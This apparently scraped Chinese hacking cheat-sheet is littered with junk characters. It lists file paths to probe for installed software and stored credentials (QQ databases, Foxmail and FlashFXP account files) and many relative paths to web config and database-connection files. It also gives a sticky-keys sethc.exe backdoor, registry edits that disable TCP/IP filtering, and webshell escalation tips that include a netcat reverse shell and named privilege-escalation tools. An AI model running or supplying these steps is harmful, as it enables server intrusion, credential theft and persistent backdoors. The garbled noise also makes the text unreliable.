! v, C7 {$ O7 B* O* I1 k4 @c:\tomcat6\bin\version.sh
c:\tomcat\bin\version.sh
2 Y: V( E2 v' k7 Fc:\program files\tomcat6\bin\version.sh
C:\Program Files\Apache Software Foundation\Tomcat 6.0\bin\version.sh
c:\Program Files\Apache Software Foundation\Tomcat 6.0\logs\isapi_redirect.log
c:\Apache2\Apache2\bin\Apache.exe
c:\Apache2\bin\Apache.exe
: x0 @2 d3 k- c; e2 e$ zc:\Apache2\php\license.txt
0 f/ V/ B) l3 F3 M# X) {. _# m! cC:\Program Files\Apache Group\Apache2\bin\Apache.exe
" u0 {0 @* S) U0 e$ _# Z1 |  P/usr/local/tomcat5527/bin/version.sh
1 q: p; R. Z% W0 z  x1 [/usr/share/tomcat6/bin/startup.sh
; [6 e3 D& z$ f1 i4 _" U0 L$ I! \3 D/usr/tomcat6/bin/startup.sh
* r1 b- S; L& Ac:\Program Files\QQ2007\qq.exe
c:\Program Files\Tencent\qq\User.db
c:\Program Files\Tencent\qq\qq.exe
/ o" n- Q/ ?, e1 ]1 T+ i0 [c:\Program Files\Tencent\qq\bin\qq.exe
c:\Program Files\Tencent\qq2009\qq.exe
c:\Program Files\Tencent\qq2008\qq.exe
c:\Program Files\Tencent\qq2010\bin\qq.exe
& Y6 V# _, h) x8 Sc:\Program Files\Tencent\qq\Users\All Users\Registry.db
C:\Program Files\Tencent\TM\TMDlls\QQZip.dll
7 J9 ?/ \, C& s$ R* B1 z% mc:\Program Files\Tencent\Tm\Bin\Txplatform.exe
c:\Program Files\Tencent\RTXServer\AppConfig.xml
% F3 Q7 L2 _3 S- X- b: D7 yC:\Program Files\Foxmal\Foxmail.exe
C:\Program Files\Foxmal\accounts.cfg
, R! i1 e/ T. C+ {+ |C:\Program Files\tencent\Foxmal\Foxmail.exe
3 E# C! |" A2 t+ m+ bC:\Program Files\tencent\Foxmal\accounts.cfg
" ]$ {; I, o9 T4 o8 |' i! \C:\Program Files\LeapFTP 3.0\LeapFTP.exe
C:\Program Files\LeapFTP\LeapFTP.exe
c:\Program Files\GlobalSCAPE\CuteFTP Pro\cftppro.exe
9 q& Z, E/ _8 b8 L; ^c:\Program Files\GlobalSCAPE\CuteFTP Pro\notes.txt
4 f+ [- q9 Z6 Q7 J* e, `( F! `2 ^C:\Program Files\FlashFXP\FlashFXP.ini
C:\Program Files\FlashFXP\flashfxp.exe
c:\Program Files\Oracle\bin\regsvr32.exe
6 I  K# c# }5 n9 @+ e) y5 Hc:\Program Files\腾讯游戏\QQGAME\readme.txt
c:\Program Files\tencent\腾讯游戏\QQGAME\readme.txt
c:\Program Files\tencent\QQGAME\readme.txt
C:\Program Files\StormII\Storm.exe

/ L0 G5 k* I& ~2 t  o3.网站相对路径:

0 \1 ^, ]; b2 x/config.php
! r* `( a& u, a& [" I% n% m# j9 s../../config.php
../config.php
../../../config.php
/config.inc.php
./config.inc.php
../../config.inc.php
: n1 h1 P/ E( @! _! k0 J../config.inc.php
../../../config.inc.php
/conn.php
./conn.php
, B* N4 k% `  ~0 e2 C8 }0 x# r9 \../../conn.php
# W: P% g9 ?, k../conn.php
7 O" g1 C8 M5 @1 |- J+ R8 W../../../conn.php
/conn.asp
: Z0 s7 j- U  ]& F$ t./conn.asp
+ J& ?( E: u7 u( [( k, u' ^! U../../conn.asp
& G: Q/ `; k  Y9 O7 U: f, ^' u../conn.asp
' p$ n% h- u9 n$ t../../../conn.asp
/config.inc.php
./config.inc.php
../../config.inc.php
: A) @# [: S% h0 W& O../config.inc.php
../../../config.inc.php
/config/config.php
../../config/config.php
$ n  A2 P& k4 o$ v0 [../config/config.php
../../../config/config.php
7 M# B/ G: \0 e0 E1 k/config/config.inc.php
" m8 G$ P! ]  r) f./config/config.inc.php
../../config/config.inc.php
& C9 p3 z  _$ e6 e0 _9 e../config/config.inc.php
../../../config/config.inc.php
/config/conn.php
./config/conn.php
../../config/conn.php
$ c0 `6 d, n$ P7 v$ ~( P../config/conn.php
../../../config/conn.php
$ x* e" |; ]% X/ r) g1 J0 x/config/conn.asp
0 W! G4 \* i0 N  V./config/conn.asp
9 ~0 s/ k. W4 n; R! ^: o../../config/conn.asp
../config/conn.asp
. Y$ r/ A, K- B4 X5 X4 r& ^: [# h% r../../../config/conn.asp
/config/config.inc.php
./config/config.inc.php
* J7 A$ z7 N! M+ p; D. K../../config/config.inc.php
../config/config.inc.php
& \( y  O) K, V* a# Z% L( F9 J" ], T../../../config/config.inc.php
1 ]- [) u; q2 {/data/config.php
../../data/config.php
../data/config.php
../../../data/config.php
2 v) h, m3 [% f. Y8 P5 L( j+ P. ?! _+ u/data/config.inc.php
./data/config.inc.php
../../data/config.inc.php
+ _3 D+ [# }; ?2 n../data/config.inc.php
& e0 j1 O$ H7 R../../../data/config.inc.php
/data/conn.php
; S& r& i: n7 A$ v" s4 [' }$ }./data/conn.php
; W9 m3 U3 s# M0 d- ^- w../../data/conn.php
4 ~1 U; S$ l9 l) f' ^4 f. L( W../data/conn.php
) |" R7 P: M5 L/ F" g../../../data/conn.php
/data/conn.asp
. \' \0 b, V& x./data/conn.asp
& y# O8 m" y$ Z) a2 W& b4 [0 o: H../../data/conn.asp
../data/conn.asp
" e- H% |3 ]  o. r( y: |../../../data/conn.asp
/data/config.inc.php
! i! w" p. b3 a./data/config.inc.php
  v( u! }# }7 @3 l3 D../../data/config.inc.php
../data/config.inc.php
../../../data/config.inc.php
4 r  t8 p9 `3 c2 i, S" Q/include/config.php
../../include/config.php
../include/config.php
../../../include/config.php
, w- N3 ^! q, `) ]/include/config.inc.php
6 W! Y* `0 Y  v; h& ~./include/config.inc.php
" L7 X5 j6 v0 U. k. t../../include/config.inc.php
9 N, ]" {/ g6 }8 ?* F) p5 j../include/config.inc.php
../../../include/config.inc.php
/ q* k9 {" q: m  U- A) w0 ^/include/conn.php
./include/conn.php
../../include/conn.php
/ l3 t$ S3 W; L, d  L1 m9 ^../include/conn.php
../../../include/conn.php
/include/conn.asp
7 A1 d+ z2 C" N7 g+ E" n, x./include/conn.asp
../../include/conn.asp
. h) f2 ?! M$ T" A( N& e../include/conn.asp
../../../include/conn.asp
/include/config.inc.php
./include/config.inc.php
../../include/config.inc.php
4 e/ O4 c1 a/ m' p0 C../include/config.inc.php
../../../include/config.inc.php
) ~$ c8 k; M. w7 k/inc/config.php
../../inc/config.php
../inc/config.php
../../../inc/config.php
/inc/config.inc.php
8 L9 h% Q. {8 w% [8 N./inc/config.inc.php
../../inc/config.inc.php
../inc/config.inc.php
' t; c( P$ D2 l+ {../../../inc/config.inc.php
- g* s0 j: v: V& Z9 [+ l/ i/inc/conn.php
./inc/conn.php
../../inc/conn.php
../inc/conn.php
* b( Q9 l* |. ^3 c../../../inc/conn.php
  U4 E7 ?/ _6 s) X3 O( o/inc/conn.asp
5 _( {0 v2 W9 k$ ]./inc/conn.asp
6 p  n/ |! M! ~# U../../inc/conn.asp
5 l- R) \& f. W../inc/conn.asp
../../../inc/conn.asp
/inc/config.inc.php
./inc/config.inc.php
../../inc/config.inc.php
../inc/config.inc.php
9 M0 d8 ~$ v8 \5 F4 z3 Y1 c../../../inc/config.inc.php
/index.php
" `4 b# I2 Z0 T; D* n8 J: L./index.php
3 _' ~; {3 g+ H% Q8 R../../index.php
6 ]: C; u( U+ v; G2 L$ a../index.php
1 w& v& z4 F) U7 z  l/ y../../../index.php
/index.asp
+ m0 F) h  j8 }./index.asp
; `( ~6 K2 D' k0 p../../index.asp
../index.asp
0 z* o# v7 u, [+ R& q& a, J1 E../../../index.asp
: p! G/ d  K: ?  A7 ^. V7 p替换SHIFT后门
1 q! U  K$ O. E$ {$ z7 {　attrib c:\windows\system32\sethc.exe -h -r -s
$ j9 o' ^" P0 t9 }0 i2 E  i0 S
　　attrib c:\windows\system32\dllcache\sethc.exe -h -r -s

4 s" W" U5 ~0 j. u) ^　　del c:\windows\system32\sethc.exe

　　copy c:\windows\explorer.exe c:\windows\system32\sethc.exe
6 m" G9 G$ r* {, z7 B4 G
/ q+ Z: R4 U8 l! z- `1 H　　copy c:\windows\system32\sethc.exe c:\windows\system32\dllcache\sethc.exe
0 U% l( S' L8 l* F  o& p3 |
& G% C7 z& s8 _5 S　　attrib c:\windows\system32\sethc.exe +h +r +s

　　attrib c:\windows\system32\dllcache\sethc.exe +h +r +s
6 B6 F% l$ H. H2 x+ v% z. R/ X去除TCPIP筛选
TCP/IP筛选在注册表里有三处，分别是：
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Tcpip
- c: e. A$ P8 Y: yHKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip

) F0 o( R+ D3 D& L4 O) V分别用
regedit -e D:\a.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
3 B* i5 l- h" m- o5 Z  `regedit -e D:\b.reg HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
) E$ M; _. @) L* S% k) fregedit -e D:\c.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
命令来导出注册表项

然后把 三个文件里的EnableSecurityFilters"=dword:00000001，改成EnableSecurityFilters"=dword:00000000

+ \& Q- _  t4 C/ T2 Z再将以上三个文件分别用
: t8 V$ e  \; }# sregedit -s D:\a.reg
regedit -s D:\b.reg
regedit -s D:\c.reg
1 a/ W  l( O, H( A+ \" Q导入注册表即可
' ?' u7 G" Z) G0 y3 v" k' ]7 M
! m0 k# p+ a$ z2 ~& D; v/ h- \webshell提权小技巧
/ p* _& ?; Y/ P! Z9 E  Acmd路径:
c:\windows\temp\cmd.exe
nc也在同目录下
& A) ^+ ^0 @9 ^0 u例如反弹cmdshell：
" w, H/ D- g0 V8 R, |( u"c:\windows\temp\nc.exe -vv ip 999 -e c:\windows\temp\cmd.exe"
! C& _2 t; E0 J  @! _) o2 ~通常都不会成功。

而直接在 cmd路径上 输入 c:\windows\temp\nc.exe
命令输入   -vv ip 999 -e c:\windows\temp\cmd.exe
- |6 |, p+ \0 }" d. U却能成功。。
, w0 `; n% C/ ~' E2 b这个不是重点
我们通常 执行 pr.exe 或 Churrasco.exe 时 有时候也需要 按照上面的 方法才能成功